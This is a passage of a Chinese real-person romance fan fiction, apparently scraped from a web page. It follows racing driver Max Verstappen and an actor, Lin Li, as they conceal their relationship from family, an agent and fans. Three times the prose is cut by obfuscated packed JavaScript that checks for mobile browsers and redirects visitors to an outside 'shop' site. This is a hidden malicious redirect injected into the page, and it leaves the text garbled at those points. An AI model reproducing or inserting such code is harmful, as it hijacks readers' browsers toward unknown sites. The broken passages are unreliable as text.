字框又按掉。删删减减，最后只发出去三个字：【我没事。】 消息很快显示已读，通话邀请接着传来。 麦克斯正了正帽子，松活了几下面部肌肉，确保表情看起来自然。 他按下接听。 “嘿。”林利的脸出现在屏幕上，看样子还在片场，“你看起来很累。” “刚开完会。”麦克斯找了个角落躲进去，“你呢？还在拍戏？” “刚收工。”林利拉远镜头，“麦克斯，发生什么事了？我看到你突然……” “还是引擎。”麦克斯堵住了那个句子的结尾，“跟上次一样的情况。” 林利皱起眉：“车队怎么说？找到解决办法了吗？” “还在分析。”麦克斯看着屏幕里满含关心的灰蓝色眼睛。他转移话题，“你的拍摄怎么样？这个发型还挺适合你的。” 林利盯着他，没有笑：“麦克斯。” “什么？” “你在故意岔开话题。”林利停顿了一下，“每次你不想说什么，就会开始问我的事。” 麦克斯向下拉了拉帽檐，“我真的没事。”他努力让自己听起来轻松，“就是有点累，等会飞机上睡一觉就好了。” “你确定？”林利轻声问，“你看起来不是这样。” “确定。”麦克斯卸下口罩，勉强笑了笑，“导演怎么样？还满意吗？” 林利还在盯着他，目光直直穿过屏幕。 麦克斯攥紧手指。拜托，别再问下去了，他快掩饰不住了。 林利张了张嘴，停顿了一下：“导演说我的表情还不够放松。”他摸了摸头上的发胶，“我像戴了个头盔。” “要我给你想几个笑话吗？”麦克斯的肩膀放松了一些。 林利笑出声：“算了吧，你的笑话能让我睡着。”他的笑容很快收了回去，嘴唇动了动。 “我一会就上飞机了，明天又要开会。”麦克斯下意识打断了对面还未说出口的话。 “好吧。”林利点了点头，“那你早点休息。” “嗯。你也是，别太晚。” 两人都没有挂断电话，沉默像一堵墙。麦克斯细细地审视林利的脸庞。 “麦克斯。”林利突然说，“如果真的有什么事，你会告诉我的，对吧？” 麦克斯的喉结滚动了一下。会的，我会告诉你的，只是不是现在。 “当然。”他回答。 “好。”林利点了点屏幕，挤出了一个笑容，“那拜拜？” “拜。” 屏幕黑了下去。 麦克斯盯着自己的倒影，眼睛下面覆盖着深深的青黑。 他收回手机，继续向前走。 他不能说。 林利时隔半年重返《猫王》片场，昨天他还发消息说片场氛围很好，能够复工他心情很不错。 麦克斯不想把自己的愤怒和无力传染给他，不想让林利接着担心。 而且他们在一起多么来之不易。上半年在摩纳哥的日子还那么鲜活，早晨醒来能看到林利睡在身边，轻松而幸福。 麦克斯不想破坏这份美好，林利没有必要知道这些糟糕的情况。等到问题解决，他会告诉林利所有，那时候一切都过去了。 索契、纽博格林、伊莫拉……他会战斗到最后。 麦克斯抬头看了看天，晴朗无云。 他不会放弃的。 19. 肥伦秀 九月下旬，纽约。 林利坐在《今夜秀》的嘉宾沙发上，手心有点出汗。 录制前他在后台跟乔治和本尼迪克特碰了面，乔治给了他一个拥抱。他们三个轮流上节目宣传《1917》，电影才上映不久，票房和口碑都很好。 但现在轮到林利一个人面对吉米·法伦了。 “欢迎回来！”吉米笑容灿烂，“《1917》太棒了！我看了两遍！” 观众鼓掌。林利松了口气，笑道：“谢谢。” “你饰演的是布雷克下士。”吉米往前凑，“那个角色，我不想剧透。但是天哪，有个场景，就是他……”他停住，看向观众，“你们懂的，我哭了。” 观众里有人喊：“我也哭了！” “对吧！”吉米指着观众席，“布雷克被刺伤之后慢慢失血，你能看到他脸上的血色一点点消失，太真实了！” 林利点点头：“那场戏拍了很久。萨姆导演要的就是这种真实感。” “你拍完那场戏之后缓了很长时间？” 林利有些不好意思：“是的。我们拍完之后，乔治一直扶着我，我们俩在那里坐了很久。太累了，情感上太耗费了。” “这就是为什么这部电影如此打动人。”吉米说，“你能感觉到最真挚的情感。” 观众再次鼓掌。 “说到拍摄，”吉米换了个话题，“我听说有一场戏你们俩在泥地里拍了一整天？” “对。”林利承认，“那天下雨，整个片场都是泥。我们在里面爬来爬去，摔得到处都是。拍完之后我花了一个小时才把泥洗干净。” “一个小时？” “头发里到处都是。”林利夸张地指了指自己，“耳朵里也有。我后来几天都觉得自己还能闻到泥味。” 吉米大笑：“但是值得的，对吧？电影看起来太真实了。” “是的。”林利表示肯定，“萨姆导演要的就是这种真实感。他希望观众能感觉到自己就在战壕里。” “他做到了。”吉米鼓了鼓掌，“我看的时候一直屏住呼吸。尤其是那些长镜头，你拍的时候是什么感觉？” “很紧张。”林利苦笑，“因为如果你在后面搞砸了，整个镜头就要重来，压力很大” “你搞砸过吗？” “次数不少。”林利瘪了下嘴，“有一次我绊倒了，还有一次我台词说错了，每次都要从头再来。” “哇哦，这么说我就能理解了。”吉米看向观众席，“我们来聊聊上半年的居家生活。你过得怎么样？” “休息得不错。一切都停了，我想这是放松的好机会。”林利耸了耸肩。 “那时候你在伦敦吗？” “摩纳哥。” “哦，很高级啊！”吉米挑眉，“你在摩纳哥有房子？” “不是，我住朋友家。” “朋友？”吉米的眼神变得狡黠，“什么样的朋友会让你在他家住几个月？停工的时候跟人关在一起可不容易。” 观众笑了。 林利感觉脸开始发热：“就是一个很好的朋友。我们相处得挺好的。” “很好——”吉米拖长了音调，笑眯眯地看着他，“你知道吗？停工的时候和朋友在一起，要么打起来，要么……”他停顿了一下，坏笑着看向台前，“你们懂的。” 观众席爆发出哄笑和口哨声。 “就是朋友。”林利有点心虚地坚持。 “好吧好吧。”吉米放过他，“那你们都做些什么？我差不多是住在奈飞了。” “和你差不多。”林利说，“做饭、遛狗，看电影……” “听起来可比我浪漫多了。”吉米眨了眨眼，“黄昏时分在摩纳哥港口散步，牵着狗。” “不浪漫！”林利抗议，脸更红了，“就是很普通的遛狗！” “好了好了，不浪漫。”吉米终于换了话题，“说说《猫王》吧！你现在正在拍对吗？” 林利感激地抓住这个话题：“对，巴兹·鲁尔曼导演的。我演史蒂芬·宾德。” “就是策划了《猫王1968年复出特别秀》的那个制作人？” “正是。”林利坐直了一点，“他帮助猫王重新找回了自己。” “从士兵到制作人。”吉米做出一个赞叹的表情，“这跨度可够大的。” 林利点点头：“压力很大，但我很兴奋。能演这样的角色是我的荣幸。” “你会在电影里唱歌吗？” “不会。”林利笑了，向后靠了靠跷起腿，“唱歌的是猫王，奥斯汀演的，我只是在旁边看着他唱。” “那你觉得奥斯汀怎么样？” “非常惊人。”林利揉了揉鼻子，“他真的变成了猫王，每次看他表演我都起鸡皮疙瘩。” “我等不及了。”吉米看向镜头，“《猫王》，明年上映。大家一定要去看！” 节目结束后，林利在后台松了口气。整体来说还不错，虽然摩纳哥那段有点尴尬，但他应付过去了。 经纪人斯科特走了进来：“表现很好。” “谢谢。”林利开始卸妆。 “不过，”斯科特犹豫了一下，“关于摩纳哥……你知道粉丝会开始猜测的。” 林利的手停住了：“猜测什么？” “猜测你停工期间跟谁在一起。”斯科特说，“有些粉丝很会挖掘信息。” “他们能挖出什么？”林利努力让声音听起来不在意。 “也许什么都没有。”斯科特摆了摆手，“但小心一点总是好的。” 林利看了眼经纪人，擦了几下手心的汗。 …… 《猫王》片场。 林利穿着70年代风格的衣服，坐在化妆椅上等下一场戏。今天拍的是宾德第一次见猫王的场景，猫王失落又迷茫地坐在好莱坞标志下面。 他刷着手机。肥伦秀播出后反响很好，网上都在夸他在《1917》里的表现。 关于摩纳哥的讨论也有，但不多。大部分人只是好奇他跟谁在一起，还没有人具体猜到是谁。 林利松了口气，也许斯科特太谨慎了。 手机响了，是艾琳娜。 林利犹豫了一下，还是接了起来：“妈妈？” “林，”艾琳娜的声音有点失真，“我们需要谈谈。” 林利的心往下沉，他抬起下巴示意化妆师回避一下。 “谈什么？” “关于你在摩纳哥的事。” “我在节目里说了，我在朋友家……” “我知道你在谁家！”艾琳娜拔高嗓音，“维斯塔潘！那个赛车手。” 林利的血液瞬间冷却：“你怎么知道？” “有人给我看了照片。”艾琳娜轻哼，“你们在散步，对吗？” 林利闭上眼睛，可恶。 “谁给你看的？”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159565|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “这不重要。”艾琳娜强调，“重要的是，林利，你停工期间跟他住在一起？整整几个月？” 林利没有回答。 “林利，我在问你话！” “是的。”林利自暴自弃地回答，“我跟他住在一起。” 电话那头沉默了几秒。 “你知道这看起来像什么吗？”艾琳娜的声音在发抖，“一个男演员跟另一个男人住在一起？你知道人们会怎么想吗？” “他是我的朋友！” “朋友不会停工的时候也挤在一起！”艾琳娜尖锐地喊，“林，你在想什么？你的事业才刚刚起步！” 林利的手指收紧：“妈妈，我没有做任何错事。” “你们住在一起就是错事。”艾琳娜恨恨地说，“你知道好莱坞怎么看待这种……这种不清不楚的关系吗？” “什么不清不楚？”林利的声音也提高了，“我们就是朋友！” “那为什么你不告诉我？为什么你要瞒着？” “我没有瞒着。”林利用力解释，“我只是没有到处宣扬。” “林利。”艾琳娜深吸一口气，“听我说。你马上就要拍《空战群英》了，这是个大机会，你不能让任何事情搞砸它。” “我知道！” “那你就应该知道，你需要小心。”艾琳娜说，“这种友谊会给你带来不必要的麻烦。你明白吗？” “妈妈。”林利盯着镜子里的自己，“我和他的关系清清楚楚。我们是朋友。” “那就保持距离。”艾琳娜不容反驳地补充，“不要让你爸爸蒙羞，你明白吗？” 怎么又回到家族名声上了？林利痛苦地向后仰靠。 “林？”艾琳娜执着地问，“你听到我说的话了吗？” “我听到了。” “很好。”艾琳娜的声音松了一些，“记住，你的家庭和事业比任何东西都重要，这是为你好。” 然后她挂了电话。 林利盯着黑掉的屏幕，思绪远远飞走。 房间外传来声音：“林利？该准备了。” “来了。” 他站起来，把手机扔在桌上走出化妆间。 片场吵吵嚷嚷，但林利的脑子里只有艾琳娜刚刚的话：“保持距离。” 今天拍的是宾德说服猫王的戏份，要让猫王相信他还有机会。 林利站在标记点上，清了清嗓子。 “准备好了吗？”导演问。 “Action!” 林利抬头看向前方的奥斯汀，灯光从他身后照过来。 “埃尔维斯（猫王），”林利说，“你知道你现在的职业生涯在哪里吗？” 奥斯汀抬头，眼神迷茫地看着他。 那我和麦克斯的未来又在哪里？ …… 拍完这场戏后，林利回到化妆间拿起手机。 【Emily：索契P2，还行。你那边怎么样？】 艾琳娜的话还在耳边回响。他想起摩纳哥的那几个月，早晨的阳光，摩纳哥的海风，Spyke在前面跑，麦克斯在他身边。又紧接着想起麦克斯最近奇怪的态度。 林利的手指在键盘上打字，删掉，再打，又删掉。 【L：恭喜你。:D】 林利颓力地坐在椅子上，抬手将发型揉得乱糟糟。 他只想让美好的日子再长一些，怎么会这么难以实现？ 20. 两种频率 林利盯着手机屏幕，看着麦克斯刚发来的照片。 照片里是纽博格林的赛道。天灰蒙蒙的，沥青路面反射着湿漉漉的光。没有配文。 林利知道这是比赛刚刚结束。麦克斯获得P2，刷掉了全场最快圈。这个成绩意味着赛车表现有所好转吗？但他能透过照片看出来麦克斯此刻的心情不怎么样，那种压抑感几乎要从屏幕里溢出来。 他想问问具体情况，又下意识产生几分踌躇，犹豫让打出的字显得生硬： 【L：[大拇指]】 太冷淡了。林利咬了咬下唇，又补了一句： 【L：天气怎么样？】 天啊，这问题太蠢了，还不如不发。林利懊恼地把手机塞进口袋，大步向片场走去。手机震动了一下，他甚至不好意思拿出来。 晚上，林利躺在床上刷着IG。《1917》的宣传账号发了一张他和乔治的剧照，配文是“永远的朋友”，评论莫名其妙地出现了很多蝴蝶和黄豆小人歪嘴的表情。 林利揉了揉额角，单手滑着屏幕，突然看到一条评论： 【看看他们的化学反应！林利的眼神……】 下面有人回复： 【[火花]】【[火花]】 【他和皮尤还在谈吗？好久没听到他俩消息了。】 【有人知道他和谁同居着？不是皮尤？】 【也许是男朋友。】 【你这么说就太不礼貌了！】 林利听到自己的心跳怦怦作响，热意漫上脸颊。他手指乱点着退出应用，麦克斯的视频请求就在这时撞了进来。 “嗨。”麦克斯的发梢还坠着水珠，眼角和颧骨带着淋浴后的潮红，冰蓝色的眼睛在屏幕里显得有些失焦。 “怎么这么晚还没睡？”林利撑起身子，靠在床头。 “我还要再试一会模拟器。”麦克斯举起手机示意，“你呢？” “才收工没多久。”林利看向麦克斯深邃的目光，“你今天怎么样？还顺利吗？” “还好。就是车……”麦克斯的睫毛颤了颤，到嘴边的话又咽了回去，“算了，不说这个。你呢，今天拍的什么？” 他就知道麦克斯还是不想谈这个话题。林利无奈地叹了口气，故作轻松地抱怨：“猫王在拉斯维加斯演出的那段，有很多舞台灯光，晃得我现在都有点晕。” 他揉了几圈眼睛，接着问：“下一场是葡萄牙？” “对，新赛道。”画面里麦克斯找了个地方坐了下来，姿态有些懒散，“应该会很有意思。” 林利不确定继续追问是否合适，只好咽了咽说道：“那你要小心一些。” “我会的。”麦克斯露出一个眯眼睛的笑容，“你……这两周是不是特别忙？我发消息你回得比以前慢很多。” 他有吗？是不是因为最近周围的目光太多，还是太犹豫不知道该怎么回复？ “是啊。”林利也扯出微笑，“最近拍摄强度大，我的戏份排得比较紧，有时候一拍就是十几个小时。而且导演对细节要求很高，你知道的。” 麦克斯嘴角向下撇了撇，显得有些心疼：“噢，你得多补点觉，看看你眼睛里的红血丝。” “Yeah，我会的。”林利心里麻麻的。 沉默。 “我……”两人同时开口。 “你先说。”林利张了张嘴。 麦克斯紧紧盯着他，手指蹭了下鼻尖：“没什么。就是11月我有几天休息。你想来摩纳哥吗？” 林利心脏跳快了一拍。 他应该拒绝的。拍摄行程忙得要命，档期排得也很满。但他看着麦克斯那张因为期待而显得有些傻气的脸，拒绝的话根本吐不出来。 “好。”林利听见自己干涩的声音，“我会找时间过去一趟。” 麦克斯的眼睛亮了一下，闪过兴奋的光：“真的？会让你为难吗？” “真的。”林利故作轻松，“劳逸结合嘛，而且我又不是主角。” “那我去接你。”麦克斯有些着急地跟上话。 视频挂断，林利才反应过来刚刚答应了什么。天啊，艾琳娜最近盯着他像犯人一样，他要怎么瞒着斯科特飞过去？ …… 十一月，尼斯机场。 林利戴着口罩，快步穿过到达大厅，在角落里一眼认出了麦克斯。 麦克斯仍然穿着牛仔裤，帽衫的帽子盖到眉毛，整个人陷在阴影里。他拉上口罩，下意识抬起头，对上林利含笑的双眼。 麦克斯大步跨过来，张开双臂将林利狠狠地扣进怀里。 “我真想你。”他接过林利的行李箱，手上粗糙的茧蹭过林利的手背。 车开出停车场。麦克斯一只手握着方向盘，另一只手仍然紧紧握着林利，指尖在他的手心里不安分地摩挲。“你看起来精神不错。”他侧过头看了林利一眼。 “剧组每天有一堆茶点。”林利笑着捏了捏鼻子，“我觉得我都要胖了。” 冷硬的海风从车窗缝隙钻进来，狭小的车厢内却蒸腾着温热又暧昧的气息。林利偏过头看着麦克斯，发现他的嘴角无意识挂着微笑。前段时间的尴尬和奇怪，一见面就不复存在。 …… 门锁咔嗒一声，麦克斯灼热的鼻息就贴了上来。林利脊背抵着微凉的墙面，闭上眼回应着，指尖没入麦克斯粗硬的金色短发里。麦克斯的体温比他更高，隔着薄薄的衣料也能感受到。 “等太久了。”麦克斯喘着气，额头抵着林利，热气喷在他的脸颊上，“两个月。” “我知道。”林利凑上去亲了亲他的嘴角，“我也等了很久。” 林利抬头凝视着对方，发现自己太过想念眼前这张可爱的脸庞。麦克斯清澈而专注的双眼，总是有些倔强的薄唇，还有笑起来会微微皱起的鼻梁，显得有点傻气。但他看起来又是那么的放松，他的嘴唇其实红润又柔软，他很喜欢亲昵地蹭来蹭去。 “别这样看着我。”麦克斯脸颊微红，一把将林利的脸按进自己的颈窝。 “你想吃点什么吗？”麦克斯一下下拍着林利的脊背，胸腔的震动在林利耳边共鸣，“我点个日料怎么样？” 他掏出手机低头点餐，嘴角向两边鼓了鼓。 林利的手机在口袋不合时宜地狂震。他瞥了眼屏幕，笑容突然僵住了，是艾琳娜。 “谁啊？”麦克斯抬起头。 “推销电话。”林利按掉屏幕，把手机扔在一旁。 又震动了，还是艾琳娜。 林利面不改色地再次按掉，直接打开了静音键。 “外卖大概一个小时到。”麦克斯从背后环住他，“要不要先洗个澡？” 林利转过身，双手搭在他紧实的肩膀上：“一起？” 麦克斯的耳朵瞬间红透了，却硬撑着挑了挑眉：“行啊。” 水雾弥漫了浴室。 林利闭着眼睛，任由热水冲刷掉路途的疲惫。麦克斯站在他身后，手指在他肩膀上按压着。 “你的肌肉好僵硬。”麦克斯低声嘟囔，“你是不是又没好好休息？” “嗯。”林利靠在他胸前，背后是不一样的触感，“一直在连轴转。” 热水淋在两人身上，林利转过身，透过朦胧的水帘看向麦克斯，抬手抹掉他脸颊上的水珠。 水滴顺着麦克斯的下颌滑落，滴在林利的胳膊上，带着滚烫的温度。 “麦克斯。” “嗯？” 林利凑上前，吻住他嘴唇上的小痣。 …… 外卖到的时候，两人才刚从浴室出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17159566|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，头发还湿着，散发着同一种香波的味道。 林利穿着从麦克斯衣柜翻出来的T恤，松松垮垮的。 “你穿我的衣服。”麦克斯在沙发上伸了伸腿，笑着说道。 “你的比较舒服。”林利拆开筷子，夹起一块寿司塞进嘴里。 他们吃得很慢，你捏我一下，我踢你一脚，然后两对脚心紧紧地贴在一起。 林利的手机屏幕仍然坚持不懈地亮起。他索性直接关了机。 麦克斯注意到了，他什么都没问，只是又抬起腿搭了上来。 “林。”麦克斯突然开口，“我……这两个月，发生了很多事情，情绪有点乱，有时候对你……”他停顿住了，苦恼地皱起眉。 “没关系。”林利放下餐盘，倾身抓起他的手，十指相扣，“我也有一些事情没有告诉你。等我们想好怎么说了，再告诉对方，好吗？” 麦克斯释然地笑了：“是的，我不会瞒着你的。”他拉过林利的手，借劲让林利跨坐在自己腿上，“你不知道我有多么多么想你。” 林利感受着他的手掌捧在自己脸上，倾听着安静的空间中对方亲密的诉说。 如果时间能够停留在这一刻。 …… 第二天清晨，林利醒来的时候，麦克斯不在床上。 他走出卧室，看到麦克斯坐在沙发上盯着手机。 “早。”林利走过去。 麦克斯抬起头，将手机扔回桌上：“早，要不要吃点东西？蛋卷怎么样？” 他站起来往厨房走，动作有点急，肩膀紧绷着。 林利扫了眼还亮着的手机：《失去了厂队合作伙伴，红牛还能填补与梅赛德斯之间的鸿沟吗？》 他摇了摇头，心里不知是什么滋味，也跟着走向岛台。 “我做蛋卷的技术还是有的。”麦克斯故作轻松地耸了耸肩，看起来确实有几分熟练。 “吃完我们去转转吧？你上次说的地方。” “没问题。”麦克斯将蛋卷放在盘子里递了过来。 他们去了一个小小的，摩纳哥隔壁的法国小镇。沿着海岸线有一条栈道，这时候人还很少。 海风很大，吹得林利眯起了眼。 麦克斯牵着林利一步步走着：“有时候训练完，我会来这里走一会。” “一个人？” “嗯。”麦克斯点点头，拇指在林利手背上画着圈，“这里很适合放松，也没什么人关注我。”他侧过头看向海面，神情有些罕见的落寞。 林利看在眼里，晃了晃两人相握的手：“麦克斯。” “嗯？” “我很开心这两天能和你在一起。” 麦克斯回过头，温柔地笑了笑：“我也是，我很高兴你能来。”他停下脚步，另一只手轻柔地摸了摸林利的鼻子，“明天你就要走了吗？什么时候还能见面？” 林利沉默了，他也不知道。 《猫王》的拍摄还得一段时间，而且艾琳娜那边…… “我不知道。”他袒露，“可能到12月？” 麦克斯猛地收紧手臂，将他整个人揉进怀里，滚烫的体温几乎要让林利融化。 “那太久了。”他喃喃道。 “我知道。”林利覆上手臂，“我们还是每天发消息？” 麦克斯亲了亲林利耳后：“好。” “还有视频。” “好。” 林利抬手摸了摸麦克斯的头发：“对不起。” “你道什么歉？”麦克斯失笑，“我也一样，下周又要去土耳其了。所以我们都一样，都有各自的事要忙。” 林利闭上眼睛。这两天像梦一样甜蜜温暖，也转瞬即逝。 他不知道回去要面对什么，但至少此刻，他们同频共振。 21.醉酒乌龙 12月，阿布扎比大奖赛后。 酒吧里挤满了人，香槟瓶盖一个接一个地崩开，白色的泡沫喷溅到半空，落得到处都是。 “敬收官战冠军！ “干杯！” 麦克斯咧开嘴，端起杯子迎向每一只伸过来的酒杯。杯沿相撞，酒水溢出来，黏糊糊的。 “来来来，再来！”有人从后面拍他的肩膀，又塞进他手里一杯。 麦克斯接过来，冰凉的气泡在喉咙炸开。 “今天状态不错啊！”GP凑过来，“今晚不醉不归？” “行啊。”麦克斯和他碰杯，又是一饮而尽。 音响震得杯子在桌面跳。有人开始扭着身体晃，有人在大喊着什么，声音全混在一起。麦克斯被簇拥在中间，一口接一口，一杯接一杯。 “敬P1！” “麦克斯你今天太棒了！” 麦克斯醉红着脸应和，酒精逐渐上头。舞池的灯光开始变得模糊，他眯起眼，视线里的线条变形、扭曲，世界摇摇晃晃的。 “我去个洗手间。”麦克斯摆摆手，踉跄着站起来。 脚下有点飘，肩膀撞上柱子。他也没在意，扶着墙一步步往前挪。 洗手间的灯光有些昏暗。麦克斯撑着洗手台，捧起一把冷水胡乱抹在脸上。 他掏出手机，点开相册。 林利的照片藏在一个上了锁的文件夹里。里面是他偷偷存下来的痕迹——林利发来的自拍、从IG保存的照片、令他心跳加速的聊天截图，还有相处时留下的影像。 麦克斯点开最近的一张。林利穿着戏服坐在片场的折叠椅上，对着镜头比了个V，眼睛笑得弯弯的。 酒精让脑子变得软绵绵的。他突然很想对屏幕里的人说点什么。 点开消息框，手指在键盘上敲敲点点。 【今天领奖台上我在找你。】 【我知道你不在，还是忍不住看。】 发送。 【赢了比赛第一个想到的就是你。】 【想让你听见他们喊我的名字。】 【你一定猜不到，我手机里存了很多你的照片。】 【看到你笑的时候就会跟着笑。】 【像个白痴一样。】 酒劲让他停不下来，一条接一条地往外送。 【晚安，虽然你现在在睡觉。】 【I miss u. [蓝色爱心]】 麦克斯靠在墙上，盯着屏幕，脸上挂着自己都没察觉的傻兮兮的笑。 眼皮越来越沉。 他随手将手机塞进口袋，推开门，歪歪扭扭地倒回卡座沙发上。 …… 第二条早上，麦克斯被刺眼的阳光弄醒。 头疼地像要裂开。 他睁开眼，发现自己躺在酒店房间的床上，还穿着昨晚的衣服。 手机在口袋震个不停。 麦克斯眯起眼睛掏出来，屏幕上全是未读消息。 99+ 大半都是兰多发的。 【Lando：？？？？？】 【Lando：MAX】 【Lando：MATE】 【Lando：回我！！！】 【Lando：你没事吧？！】 【Lando：是不是有人偷了你的手机？？】 【Lando：快告诉我你还活着。】 【Lando：MAX VERSTAPPEN! 】 麦克斯皱着眉往上翻。 然后看到了。 他昨晚发的那一连串消息，赫然躺在他和兰多的聊天框里。 麦克斯盯着屏幕，脑子嗡嗡作响。 “F**k”他发出一声痛苦的呻吟，把脸埋进枕头。 他昨晚都干了些什么？ 手机又震了，这次是兰多的电话。 “你还活着！”兰多的声音几乎要震破耳膜，“天啊麦克斯，你知道我提心吊胆了一整晚吗？我以为你疯了，或者被外星人绑架了！” “我没事。”麦克斯赶紧打断他。 “那你昨晚发的那些是怎么回事？！”兰多的声调尖锐，“我看得浑身起鸡皮疙瘩！还以为这是什么暗号，琢磨了半天。你昨天是在玩什么游戏吗？” “发错了。” “发错了？”兰多的声音充满怀疑，“发给谁的？” “不关你事。”麦克斯咬牙切齿，只想赶紧结束这个话题。 “当然关我事！”兰多叫起来，“咱俩是不是朋友？你恋爱了竟然不告诉我！” “我没有恋爱。” “少来！”兰多一口否定，“‘看到你笑的时候就会跟着笑’这话不是给女朋友说的还能给谁？” 麦克斯头痛地揉着太阳穴：“兰多。” “你们怎么认识的？我和她碰过面吗？” “够了。”他实在受不了这没问没了的追问。 “不够！”兰多兴奋得要命，“你得告诉我，什么时候开始的？你们……” 麦克斯直接挂断电话，两眼无神地看向天花板。 他还不如昨晚直接把手机丢了。 想了想，他拨通了林利的视频。 林利接起来的时候，脸上少见地架着一副黑框眼镜。他靠在床头，穿着宽松的T恤。 “嗨。”林利笑着说，“怎么突然打过来？” “我……”麦克斯迟疑了一下，“我昨晚干了件蠢事。” 林利摘下眼镜，挑了挑眉：“什么蠢事？说来听听。” “我喝醉了。”麦克斯把脸埋在手心里，“然后发了很多信息给你。” 林利有些疑惑地睁大眼睛：“可是我没有收到啊。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17168366|196580||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “本来是想发给你的。”麦克斯耳朵慢慢变红，“不小心……发给了兰多。” 林利愣了一下，不敢置信地问：“什么？” “对。”麦克斯将被子扯上来盖住半张脸，“全发给了兰多。” “发了什么？” 麦克斯沉默了几秒，声音越来越小：“一些很肉麻的话。” “比如？”林利坐直身体，兴致勃勃。 “比如‘赢了比赛第一个想到的就是你’。”麦克斯继续说，声音闷在被子里，“还有‘看到你笑的时候就会跟着笑’……” 林利扶了扶额头，又好气又好笑：“所以兰多看到了这些？” “对。”麦克斯叹气，“他以为我疯了。” “哈哈哈哈！”林利笑出声，“他是不是以为你在给他表白？” “差不多。”麦克斯也忍不住笑了，“他发了几十条信息连环轰炸，还打电话问我是不是恋爱了。” “你怎么说的？” “糊弄过去了。”麦克斯说，“他也太吵了，什么都想知道。” 林利笑得肩膀发抖，眼角渗出泪花：“他肯定不会轻易放过你的。” “可不是嘛。”麦克斯叹气，“他现在认定我有个神秘女朋友。” “那你打算怎么办？”林利凑近屏幕，眼睛亮晶晶的。 “编呗。”麦克斯耸耸肩，“就说她很害羞，不喜欢见人。” “听起来一点都不像我。”林利挑眉。 麦克斯盯着他：“你不害羞？” “我……”林利想了想，“好吧，稍微有点。” “有点？”麦克斯拨正手机，“上次见面的时候，你连亲我都要先确认旁边有没有人。” “那是小心！”林利脸颊泛起红晕，“不是害羞。” “行，你说了算。”麦克斯不置可否地摊了摊手。 他们隔着屏幕对视着，呼吸在悄悄发酵。 “林。”麦克斯突然想问，“你什么时候杀青？” “圣诞前。”林利说，“怎么了？” “冬休的时候，”麦克斯顿了顿，“我们找个地方度假吧。” “不用假装，不用躲藏的地方。”他补充道。 …… 挂掉电话后，麦克斯打开平板，漫无目的地翻着旅游攻略。 他随手点开一个小岛的介绍页面，评论区写满不少五星长评。 其中一条跳进眼帘： “完美的求婚地点！” 麦克斯盯着那几个字，手指停在屏幕上。 求婚。 他禁不住开始在脑海里勾勒画面。 但不是现在。 等他成为世界冠军，等他真正站上最高点。 那时候林利会点头吗？ 他看着屏幕上那片蔚蓝的海，嘴角又扬了起来，像个傻瓜。 22.真空地带 林利坐在公寓地板上，打开的行李箱摊在面前。几件衬衫、T恤、短裤，护照扔在旁边。 手机震响。 是妈妈。 他盯着那两个字，咬了下唇，不情愿地点开接通。 “圣诞节你不准备回家？”艾琳娜的声音冷冰冰的。 “我工作……” “斯科特都告诉我了。”她打断他，“又是那个车手？上个月才见面，就这么舍不得？” 林利捏紧手机，目光落在行李箱，里面塞着件麦克斯落下的短袖。 “妈妈。” “林利，你简直不把我的话当回事，你爸爸还不知道你在胡闹……” 林利抓起行李箱拉链，用力一拽。拉链偏偏在这时候跟他作对，卡住不动，他咬着牙又扯了几下。 真烦。他不想再继续听下去自找不痛快。 “有人敲门了。”林利偏过头，对着虚空假装应了一声，“我先挂了。” 不等对方回应，他迅速切断通话，将手机扔向床，砸在靠垫上弹了一下。 林利盯着自己的手心，刚才用力过猛，指甲掐出了几道月牙印子。 手机又震了一声，这次是麦克斯。 【Emily：明天见。[图片：自拍]】 他长叹了口气，整个人向后倒去。后脑勺磕在床靠上，发出一声闷响。 …… 夏威夷科纳机场闷热得要命，空调像是坏了。 林利推着行李车出来，衬衫湿透地贴在背上，黏腻的触感让人不舒服。 他眯起眼在人群里寻找，看到了远处的麦克斯——花短裤，鼻梁晒得红红的，正用力朝他挥手。 拥抱。 林利的脸埋进麦克斯的肩膀，闻到一股椰子防晒霜混合着阳光和汗水的味道。 “累吗？”麦克斯松开他，手还搭在他肩上。 林利笑着摇摇头。 “骗人。”麦克斯摘下墨镜打量他，“你眼睛都红了。” “飞机上没睡好。” 麦克斯伸手揉了揉他的头发，接过行李车：“走吧，你肯定累坏了。” 车开出机场。 林利看着窗外，黑色的火山岩铺成漫无边际的荒地，粗糙的表面坑坑洼洼，像烧焦的海绵。 “这里以前都是岩浆。”麦克斯一只手握着方向盘，另一只手伸过来握住林利的手，“几百年前喷发的。” “看起来像火星。” 开了快半小时，景色才慢慢变了。 远处浮现出建筑物的轮廓，绿色的棕榈树在烈日下显得有些不真实。 越往前开，左边的海越近，蓝得晃眼。 “快到了。”麦克斯指了指前方，“茂纳拉尼。” 别墅面朝大海。 